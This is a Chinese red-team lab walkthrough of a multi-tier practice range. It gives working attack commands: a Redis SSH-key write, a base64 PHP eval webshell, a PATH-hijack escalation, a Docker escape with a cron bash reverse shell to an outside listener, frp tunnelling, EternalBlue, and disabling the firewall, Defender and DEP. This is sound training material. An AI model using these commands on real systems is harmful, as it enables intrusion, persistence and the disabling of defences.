ATT-CK红队实战靶场07

环境搭建

整个靶场环境一共五个靶机(总共27.8 GB),分别位于三层网络环境中:

  • DMZ区IP段为192.168.1.1/24 复制物理机网络

  • 第二层网络环境IP段为192.168.52.1/24

  • 第三层网络环境IP段为192.168.93.1/24

网络设置

在Vmware中新增两个虚拟网卡VMnet8、VMnet14。VMnet8设为默认的NAT模式,IP段设为

192.168.52.0/24;VMnet14设为仅主机模式,IP段设为192.168.93.0/24:

将VMnet8作为第二层网络的网卡,VMnet14作为第三层网络的网卡。这样,第二层网络中的所有主机

皆可以上网,但是位于第三层网络中的所有主机都不与外网相连通,不能上网。

DMZ区域:

给Ubuntu (Web 1) 配置了两个网卡,一个桥接可以对外提供服务;一个连接在VMnet8上连通第二

层网络。

第二层网络区域:

给Ubuntu (Web 2) 和Windows 7 (PC 1)都配置了两个网卡,一个连接在VMnet8上连通第二层网

络,一个连接在VMnet14上连通第三层网络。

第三次网络区域:

给Windows Server 2012和Windows 7 (PC 2)都只配置了一个网卡,一个连接在VMnet14上连通第

三层网络。

服务配置

靶场中各个主机都运行着相应的服务并且没有自启功能,如果你关闭了靶机,再次启动时还需要在相应

的主机上启动靶机服务(有的需要加上sudo执行):

DMZ区的Ubuntu需要启动nginx服务:

redis-server /etc/redis.conf

/usr/sbin/nginx -c /etc/nginx/nginx.conf

iptables -F

第二层网络的Ubuntu需要启动docker容器:

sudo service docker start

sudo docker start 8e172820ac78

第三层网络的Windows 7PC 2)需要启动通达OA:

C:\MYOA\bin\AutoConfig.exe

用户信息

**域用户账户和密码如下 **:

Administrator:Whoami2021

whoami:Whoami2021

bunny:Bunny2021

moretz:Moretz2021

**Ubuntu 1 **:

web:web2021

**Ubuntu 2 **:

ubuntu:ubuntu

**通达OA账户 **:

admin:admin657260

外网打点

对dmz靶机进行端口扫描

22端口:ssh,基本不考虑爆破

80,81端口:访问一个404一个502不知道是不是我环境搭建有问题

6379端口:redis未授权访问

redis未授权访问

尝试连接,发现存在redis未授权访问

现在有三个利用思路:

1、写webshell

2、写ssh公钥

3、写计划任务

这里有一点限制,2和3都需要root权限启动的redis才能执行,因为我们这里是用sudo启动的redis,所以可以直接写公钥

添加首位换行,避免乱码

1
(echo -e "\n\n";cat .ssh/id_rsa.pub;echo -e "\n\n") > key.txt

设置备份路径并写入公钥

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root㉿kali)-[~]
└─# cat key.txt | redis-cli -h 192.168.31.112 -x set hack
OK
┌──(root㉿kali)-[~]
└─# redis-cli -h 192.168.31.112
192.168.31.112:6379> CONFIG SET dir /root/.ssh
OK
192.168.31.112:6379> config set dbfilename authorized_keys
OK
192.168.31.112:6379> get hack
OK
192.168.31.112:6379> save
OK

ssh免密登录

上线到msf

使用 exploit/multi/script/web_delivery文件落地上线,这样比生成门后快一点

设置好payload和target

将运行结果复制到ssh shell中运行

msf收到会话

内网打点

信息收集

存在两张网卡,还有另一个网段52

添加路由把msf代理进去

msf主机存活扫描模块

1
2
3
4
5
auxiliary/scanner/discovery/arp_sweep   ARP扫描
auxiliary/scanner/discovery/udp_sweep UDP扫描
auxiliary/scanner/netbios/nbname NETBIOS扫描
auxiliary/scanner/snmp/snmp_enum SNMP扫描
auxiliary/scanner/smb/smb_version SMB扫描

msf端口扫描模块

1
2
3
4
5
auxiliary/scanner/portscan/ack          TCP ACK端口扫描
auxiliary/scanner/portscan/ftpbounce FTP bounce端口扫描
auxiliary/scanner/portscan/syn SYN端口扫描
auxiliary/scanner/portscan/tcp TCP端口扫描
auxiliary/scanner/portscan/xmas TCP XMas端口扫描

反向代理使用nmap对52网段进行扫描

添加代理

1
vim /etc/proxychains4.conf

nmap扫描内网太慢了,而且这样走msf的proxy模块,很不稳定,必须走tcp流量,而30靶机开启了防火墙所以一直回显denied

关了防火墙用msf模块扫描

浏览器挂上反向代理,或者直接用proxychains打开火狐

都存在web服务

30是通达oa

20是Laravel

通达oa

先看通达oa,爆出过不少漏洞,记得用proxychains代理检测工具

蚁剑直接添加socks4代理

直接就是system权限

发现还有一个网段93/24

Laravel

52网段还存在一个Laravel框架的web服务,爆出了版本,存在漏洞

nginx反向代理,应该就是最开始dmz区的那台主机的81端口的服务,当时我忘了开机,所以访问502

下载exp,修改url https://github.com/crisprss/Laravel_CVE-2021-3129_EXP

先写webshell到蚁剑,用base64写马不用担心转义问题

1
echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+|base64 -d >1.php

做信息收集发现主机名很奇怪,存在dockerenv文件应该是docker容器了

用curl上线到msf,少很多命令要自己调整一下

提权+docker 逃逸

先提权再逃逸,linux提权三板斧,有个shell看看

运行发现应该是个ps命令,是s权限

我们可以构造一个环境变量来替换这个shell文件达到提权目的

1
2
3
4
5
6

touch /tmp/ps
echo '/bin/bash' > /tmp/ps
chmod 777 /tmp/ps
export PATH=/tmp:$PATH
echo $PATH

不知道为什么蚁剑里修改环境变量没生效,到msf里修改生效了

反弹一个shell到nc吧,半交互式shell方便一点

提权完成,开始逃逸,docker逃逸一般都是特权模式逃逸,创建容器时通过添加–privileged=true参数,将容器以特权模式起动,提权模式可以访问宿主机文件

特权模式起动的容器,实战可通过cat /proc/self/status |grep Cap命令判断当前容器是否通过特权模式起(000000xfffffffff代表为特权模式起

将本地目录挂载到宿主机

1
2
3
4

fdisk -l #查看磁盘文件
mkdir /xx #新建一个目录用于挂载
mount /dev/sda1 /chan #将宿主机/dev/sda1目录挂载到容器内

再利用计划任务反弹shell

1
2
cd /tmp && touch shell.sh && chmod +x shell.sh
echo "bash -c 'exec bash -i &>/dev/tcp/192.168.31.119/7777 <&1'" >> shell.sh

再写入计划任务

1
2
sed -i '$a*/1 *    * * *    root  bash /tmp/shell.sh ' /xx/etc/crontab 
cat /xx/etc/crontab

kali监听

再上线到msf维持权限

域渗透

现在拿到的权限有,dmz区域的外网靶机,和两台52网段的靶机.根据拿到的靶机发现还存在第三层网络93网段,并且存在域环境

添加到93网段的路由

因为第二层是出网的,也可以上线cs抓一下密码

再用fscan扫描内网

扫出30和40两个主机,30为dc,都存在17010永恒之蓝,上传frp配置代理到web2,因为第二层是出网的,所以直接配置一层就行(msf的隧道不稳经常掉)

配置隧道

kali配置服务端frps.ini,启动

1
2
[common]
bind_port = 7000

web2配置frpc.ini,启动方法一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[common]
server_addr = 192.168.31.118 #kali ip
server_port = 7000

[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 6000

[proxy]
type = tcp
remote_port = 1080 #转发端口
plugin = socks5

porxychins添加一条,其他工具就可以走这个代理

1
socks5 127.0.0.1 1080

域内横向

msf添加一个代理

1
setg Proxies socks5:127.0.0.1:1080

尝试永恒之蓝,这里要注意使用正向payload,因为目标靶机是不出网的

成功拿到192.168.93.40的会话

打域控的时候发现利用成功但是没返回会话

应该是没关防火墙,用winexe登录到域控上去把防火墙关了,前面已经用cs抓到管理员的密码

1
proxychains winexe -U 'administrator%Whoami2021' //192.168.93.30 cmd.exe
1
2
3
netsh advfirewall set allprofiles state off #关闭防火墙
net stop windefend #关闭windefebd
bcdedit.exe /set{current} nx AlwaysOff #关闭DEP

关闭防火墙后继续打,成功拿下DC